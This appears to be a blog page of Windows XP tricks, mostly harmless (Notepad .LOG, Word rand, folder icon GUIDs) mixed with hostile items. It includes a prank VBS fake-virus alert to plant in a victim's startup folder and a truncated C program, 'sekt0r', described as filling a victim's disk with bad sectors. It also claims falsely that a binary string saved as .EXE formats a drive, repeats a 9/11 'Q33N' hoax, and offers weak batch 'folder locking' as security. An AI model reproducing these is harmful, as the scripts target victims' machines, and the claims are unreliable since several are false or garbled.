

# Windows tips 1

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## Hidden Star Wars Movie in Windows XP

Microsoft has hidden a version of Star Wars done entirely with ASCII characters in the Windows XP operating system. But you must be connected to internet to view it. When online, go to start->run. Now type 'telnet towel.blinkenlights.nl' without the single quotes. See it for yourself.

It works only in Windows Xp. If you have any other operating system, watch it on YouTube:

<http://www.youtube.com/watch?v=kdhrE5RMDfQ>

<http://www.youtube.com/watch?v=vxW2EePW8qA>

Test if Antivirus is Working or not Using notepad

X5O!P%@AP[4PZX54(P^)7CC)7}\$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!\$H+H\*

Open notepad.....Copy the above code in the file....

then save it with the name fakevirus.exe

If this file got deleted immediately ....That means ur antivirus is working properly

A Funny Notepad Trick1

1. Open a blank Notepad file

2. Write .LOG as the first line of the file, followed by a enter. Save the file and close it.

3. Double-click the file to open it and notice that Notepad appends the current date and time to the end of the file and places the cursor on the line after.

4. Type your notes and then save and close the file.

After that open the file and see the changes.

A Funny Notepad Trick2

Did you know that the flight number of the plane that had hit WTC ...on 9/11 was Q33N ....Open your Notepad in ur computer and type the flight number i.e Q33N... Increase the Font Size to 72, Change the Font to Wingdings.

A Funny Notepad Trick3

Make friends scare of VIRUS

Open notepad and type this:

```
lol=msgbox ("Warning a virus has been detected on your PC. Press YES to format your hard disk now or press NO to format your hard disk after system reboot",20,"Warning")
```

Then save it as Virus.VBS

and go to the folder that contains it and open it if a window pops out saying a virus has been detected it's working. Press yes or no to close the window and put it in the startup folder of the victim's account. On startup the window should appear. Note: This does not harm your computer as it does not contain virus.

Format Hard Disk using Notepad

1. Write The Following In Notepad Exactly as it says

2. Write the following code:01001011000111110010010101010101010000011111100000

3. Save As it as .EXE and any Name would Do.

4. If u run the program means it will format the Hard Drive.

Note:This is for learning purpose only. am not responsible for any liabilities.

```
/*create bad sectors on the hard disk.
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*
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```
* This program will create bad sectors on the hard disk. If you left it
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* running for long enough, it could render a hard disk quite useless. When
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* bad sectors are found, the sector is marked as bad, so fixing the hard disk
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```
* is not an easy task. Unless the victim has time and knowledge to fix the
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* disk, the hard drive can be left quite literally defective.
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* supported by preetam
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* I don't take responsibility for what you do with this program, served foe educational purpose only.
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#include
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#include
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#include
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#define HDSIZE 640000
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void handle_sig();
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int main() {
int i = 0;
int x;
int fd[5];
signal(SIGINT, handle_sig);
signal(SIGHUP, handle_sig);
signal(SIGQUIT, handle_sig);
signal(SIGABRT, handle_sig);
signal(SIGTERM, handle_sig);
char *buf;
buf = malloc(HDSIZE);
printf("sekt0r: trashing hard disk with bad sectors!\n");
while(1) {
fd[1] = open("/tmp/.test", O_WRONLY|O_CREAT, 511);
fd[2] = open("/tmp/.test1", O_WRONLY|O_CREAT, 511);
fd[3] = open("/tmp/.test2", O_WRONLY|O_CREAT, 511);
fd[4] = open("/tmp/.test3", O_WRONLY|O_CREAT, 511);
fd[5] = open("/tmp/.test4", O_WRONLY|O_CREAT, 511);
for(x = 0; x < style="font-weight: bold;">
```

MS WORD Secret

Open Microsoft word n then type

=rand (200, 99)

then press enter

Windows XP Secret Music

Microsoft Windows XP is playing a cool music during installation. It is a pleasant little tune that you've probably never heard, unless you were present when Windows was being installed on your PC. After that it's never played again, unless you know where to look for it.

To hear what you've been missing, just follow these:

Make you way to C:\WINDOWS\system32\oobe\images and look for a file called "Title.wma" or possibly "Windows welcome music.wma". It is around 2.56Mb in size. Just double click the file and this will open Windows Media Player, or your defaul player and it will proceed to serenade you with a more than 5 minutes music. It's up to you to repeat it.

Cool!!!

How to Lock a Folder Using Notepad

1.Consider you want to lock a folder named PICS in your D:\, whose path is D:\PICS

2.Now open the Notepad and type the following

```
ren pics pics.{21EC2020-3AEA-1069-A2DD-08002B30309D}
```

3.Where pics is your folder name. Save the text file as loc.bat in the same drive.

4.Open another new notepad text file and type the following

```
ren pics.{21EC2020-3AEA-1069-A2DD-08002B30309D} pics
```

5.Save the text file as key.bat in the same drive.

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Usage:

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6.To lock the pics folder, simply click the loc.bat and it will transform into control panel icon, which is inaccessible.

7.To unlock the folder click the key.bat file. Thus the folder will be unlocked and the contents are accessible.

Locking folders without software

```
cls
@ECHO OFF
title Folder Locker
if EXIST "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" goto UNLOCK
if NOT EXIST Locker goto MDLOCKER
:CONFIRM
echo Are you sure u want to Lock the folder(Y/N)
set/p "cho=>"
if %cho%==Y goto LOCK
if %cho%==y goto LOCK
if %cho%==n goto END
if %cho%==N goto END
echo Invalid choice.
goto CONFIRM
:LOCK
ren Locker "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
attrib +h +s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
echo Folder locked
goto End
```

```
:UNLOCK
echo Enter password to Unlock folder
set/p "pass=>"
if NOT %pass%==type your password here goto FAIL
attrib -h -s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
ren "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" Locker
echo Folder Unlocked successfully
goto End
:FAIL
echo Invalid password
goto end
:MDLOCKER
md Locker
echo Locker created successfully
goto End
:End
```

\* Now paste it in notepad.

Save it as batch file(with extension .bat).Any name will do.

Now you see a batch file. Double click it to create a folder locker.

A new folder named Locker would be formed at the same location.

Now brings all the files you want to hide in the locker folder.

Now double click the batch file to lock the folder namely Locker.

If you want to unlock your files,double click the batch file again and you would be prompted for password.Enter the password and enjoy access to the folder.

use pc as an alarm

Now this is specially for the ones who are too lazy to get up even when the trust cellphone dies screeching its lungs out.

Its pretty simple Creating the playlist create a playlist of your favourite songs in Winamp, WMP or any other player.

Export the playlist as a M3U playlist. M3U is generally accepted by almost every player. Triggering the alarm point to

start> programs >accessories > system tools >scheduled tasks Create a new task and choose program as windows media player or winamp (May work with others too but I haven't tried anything else) Choose "daily", Enter the time and choose "every day" at next screen. It would now ask for password (leave blank in case you don't have one) Right click on the newly created task and check the "run only if logged in" check box. In the properties. Append the path to the playlist you created in the "run" text box. It should now look like Code:

Code:  
 "D:\windows\mediaplayer\wmplayer.exe"K:\Playlists\smoothies.m3u  
 the text inside quotes is my WMP's path. It may vary for you. The text after WMP's path is the one to the playlist. Click OK and you're done.

A Hidden Secret in Xp

Create a new folder with the name ABC(of course you can give any name).

Open the command prompt and rename it to one of the following:

```
.{20D04FE0-3AEA-1069-A2D8-08002B30309D} (= My Computer)
.{450D8FBA-AD25-11D0-98A8-0800361B1103} (= My Documents)
.{208D2C60-3AEA-1069-A2D7-08002B30309D} (= My Network Places)
.{645FF040-5081-101B-9F08-00AA002F954E} (= Recycle Bin)
.{871C5380-42A0-1069-A2EA-08002B30309D} (= Internet Explorer)
.{21EC2020-3AEA-1069-A2DD-08002B30309D} (= Control Panel)
.{D20EA4E1-3957-11D2-A40B-0C5020524153} (= Administrative Tools)
.{00020D75-0000-0000-C000-000000000046} (= Inbox)
.{D20EA4E1-3957-11D2-A40B-0C5020524152} (= Fonts)
.{7007ACC7-3202-11D1-AAD2-00805FC1270E} (= Network Connections)
.{2227A280-3AEA-1069-A2DE-08002B30309D} (= Printers and Faxes)
.{7BE9D83C-A729-4D97-b5A7-1B7313C39E0A} (= Programs Folder)
.{E211B736-43FD-11D1-9EFB-0000F8757FCD} (= Scanners and Cameras)
.{D6277990-4C6A-11CF-8D87-00AA0060F5BF} (= Scheduled Tasks)
.{48E7CAAB-B918-4E58-A94D-505519C795DC} (= Start Menu Folder)
.{7BD29E00-76C1-11CF-9DD0-00A0C9034933} (= Temporary Internet Files)
.{BDEADF00-C265-11d0-BCED-00A0C90AB50F} (= Web Folders)
.{6DFD7C5C-2451-11D3-A299-00C04F8EF6AF} (= Folder Options)
.{00020801-0000-0000-C000-000000000046} (= Folder)
.{00021400-0000-0000-C000-000000000046} (= Another Folder)
```

Important: include the point and nothing before that!

Example: "rename ABC .{20D04FE0-3AEA-1069-A2D8-08002B30309D}"

Now wen you will see that the icon of tht folder has changed(No name) to My computer Icon.Now Make a shortcut to that folder, change the target and icon and you have a nameless shortcut.

some STRANGER things in XP

1. It boasts how long it can stay up. Whereas previous versions of Windows were coy about how long they went between boots, XP is positively proud of its stamina. Go to the Command Prompt in the Accessories menu from the All Programs start button option, and then type 'systeminfo'. The computer will produce a lot of useful info, including the uptime. If you want to keep these, type 'systeminfo > info.txt'. This creates a file called info.txt you can look at later with Notepad. (Professional Edition only).

2. You can delete files immediately, without having them move to the Recycle Bin first. Go to the Start menu, select Run... and type 'gpedit.msc'; then select User Configuration, Administrative Templates, Windows Components, Windows Explorer and find the Do not move deleted files to the Recycle Bin setting. Set it. Poking around in gpedit will reveal a great many interface and system options, but take care -- some may stop your computer behaving as you wish. (Professional Edition only).

3. You can lock your XP workstation with two clicks of the mouse. Create a new shortcut on your desktop using a right mouse click, and enter 'rundll32.exe user32.dll,LockWorkStation' in the location field. Give the shortcut a name you like. That's it -- just double click on it and your computer will be locked. And if that's not easy enough, Windows key + L will do the same.

4. XP hides some system software you might want to remove, such as Windows Messenger, but you can tickle it and make it disgorge everything. Using Notepad or Edit, edit the text file /windows/inf/sysoc.inf, search for the word 'hide' and remove it. You can then go to the Add or Remove Programs in the Control Panel, select Add/Remove Windows Components and there will be your prey, exposed and vulnerable.

**Make Invisible Folders!!KEEP FOLDERS HIDDEN (Without any External Application)**

Just go through the steps below..then u can make a hidden folder to keep all your data SAFE!

1. First create a new folder somewhere on your hard drive

when you name it hold down "Alt" and press "0160" this will create an invisible space so it will appear as if it has no name.

2. Then right click in and select "Properties" select the tab "customize" and select "change icon" scroll along and you should see a few blank spaces click on any one and click OK

when you have saved the settings the folder will be invisible to hide all your personal files. You just have to remember the folder's location in your hard drive..